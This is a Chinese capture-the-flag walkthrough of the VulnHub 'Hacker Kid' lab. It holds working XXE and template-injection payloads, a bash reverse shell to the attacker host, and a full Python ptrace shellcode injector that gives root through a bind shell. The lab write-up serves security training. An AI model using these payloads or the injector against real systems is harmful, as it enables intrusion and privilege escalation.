kali之vulnhub,hackerkid

目录

地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ovahttps://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

一、扫描存活主机

二、端口

三、服务版本

四、信息收集

1.查看页面源代码

2.burp爆破参数

(1)21参数

(2)尝试21

(3)绑定hosts

3.查看页面功能

4.、dig挖掘

5.绑定hosts

6.9999端口信息收集

 五、xxe漏洞

1.功能测试

 2.信息收集

3.抓包测试

(1)抓到的数据包

 (2)测试

(3).bashrc

六、尝试登录

1.提示信息

2.提交参数

七、模板注入

1.测试是否有模板注入

2.反弹sehll

八、提权

1.查看capabilities

​编辑 2.查看系统进程

3.利用代码

(1)在kali本机编写inject.py文件

(2)http传输文件

(3)批量执行

(4)查看5600进程

(5)连接shell


地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ovahttps://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

一、扫描存活主机

nmap -sP 192.168.43.27/24

二、端口

nmap -p- 192.168.43.254

三、服务版本

nmap -p53,80,9999 -sV 192.168.43.254

两个http服务,一个域名服务,tornado是一个web轻量级框架,Django简化版。ISC是域名解析服务软件。

四、信息收集

因为这是一个oscp风格的靶机,所以重在信息收集,

1.查看页面源代码

发现了一个page_to的参数,尝试去提交这个参数。

当我们提交1的时候,他写了句 深入了一点这不是在、正确的吗,证明方式没有错,但参数值可能有错,尝试去爆破。

2.burp爆破参数

(1)21参数

可以看到 参数值为21的时候有所不同。

(2)尝试21

可以看到 这些信息,他创建了一些子域以便返回服务器,其中一个是hacker.blackat.local,这个网站部署方式是采用同ip不同域名来访问不同页面,所以我们去修改hosts文件,绑定域名和ip,让其能正确访问。

(3)绑定hosts

用root用户来修改hosts文件

为何绑定两个域名,因为主机名加域名,和只是域名可能是不同的页面。但是呢,访问一个和原界面一样,一个403了。

3.查看页面功能

这里几个功能没什么有用信息,也没什么漏洞,之后我们尝试用dig命令进行区域传输攻击来获取dns服务器的所有主机名。

4.、dig挖掘

dig axfr @192.168.43.254 blackhat.local

利用区域传输漏洞我们拿到了很多主机名信息,挨个与ip绑定,看是否有新的收获。

5.绑定hosts

全部绑定完成后,挨个去访问,我们发现了一个新的注册界面

6.9999端口信息收集

对每个域名的9999端口进行访问,发现了一个登录框。

 五、xxe漏洞

1.功能测试

这个页面咋注册都无效

 2.信息收集

查看页面源代码,发现有这些数据以xml格式传输的,考虑是否有xxe漏洞。

3.抓包测试

(1)抓到的数据包

 (2)测试

<?xml version = "1.0"?>
 
<!DOCTYPE ANY [
 
<!ENTITY xxe SYSTEM "file:///d://test/1.txt">
 
]>
 
<x>&xxe;</x> 

很明显给我们返回了/etc/passwd文件内容;存在xxe漏洞。在/etc/passwd中我们收集到一些用户信息,有一个特别的saket用户,之后再对sacket的主目录进行信息收集

(3).bashrc

当我们查看.bashrc文件时,发现啥都没有,隐藏文件直接用file协议查看是查看不到的,我们用封装器来查看源码,我们在源码最后发现了用户名和密码

php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc

六、尝试登录

在尝试admin的时候显示错误,但是这个密码是处于saket用户下的,尝试saket登录

ok,成功登录,

1.提示信息

告诉我你的名字,怎么能知道你是谁?那我们就顺着他来,来提交name参数

2.提交参数

尝试后发现我们提交的参数都会显示到页面上

七、模板注入

 大家可以自己去了解一下模板注入,类似sql注入的一种注入类型。

1.测试是否有模板注入

{{1+asdf}}${1+asdf}<%1+abfd%>[safsdafs]

or

${7*7}{{7*7}}

发现产生了报错,还看到Template这个渲染函数,所以可以肯定是一个模板注入点。

2.反弹sehll

{% import os %}{{ os.system(' bash -c "bash -i >& /dev/tcp/192.168.43.27/4444 0>&1 "')}}

对特殊符号进行编码

%7B%25%20import%20os%20%25%7D%7B%7B%20os.system%28%27%20bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.27%2F4444%200%3E%261%20%22%27%29%7D%7D

八、提权

系统权限细分,由capabilities赋予权限,我们可以利用某些权限的漏洞来进行提权。

1.查看capabilities

/sbin/getcap -r / 2>/dev/null

python2.7被赋予了cap_sys_ptrace这样的一个权限,大概就是跟踪调试进程,给进程传输数据这样的功能。所以我们可以利用这个权限搞事情。

 2.查看系统进程

ps -aef | grep root

3.利用代码

(1)在kali本机编写inject.py文件

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

(2)http传输文件

python3 -m http.server 80

wget http://192.168.43.27/inject.py

(3)批量执行

找root进行注入,因为一个个试效率太慢,所以脚本批量跑。

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

(4)查看5600进程

ss -pantu |grep 5600 

如果存在证明注入成功,在kali端nc连接即可

(5)连接shell

拿到root权限

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值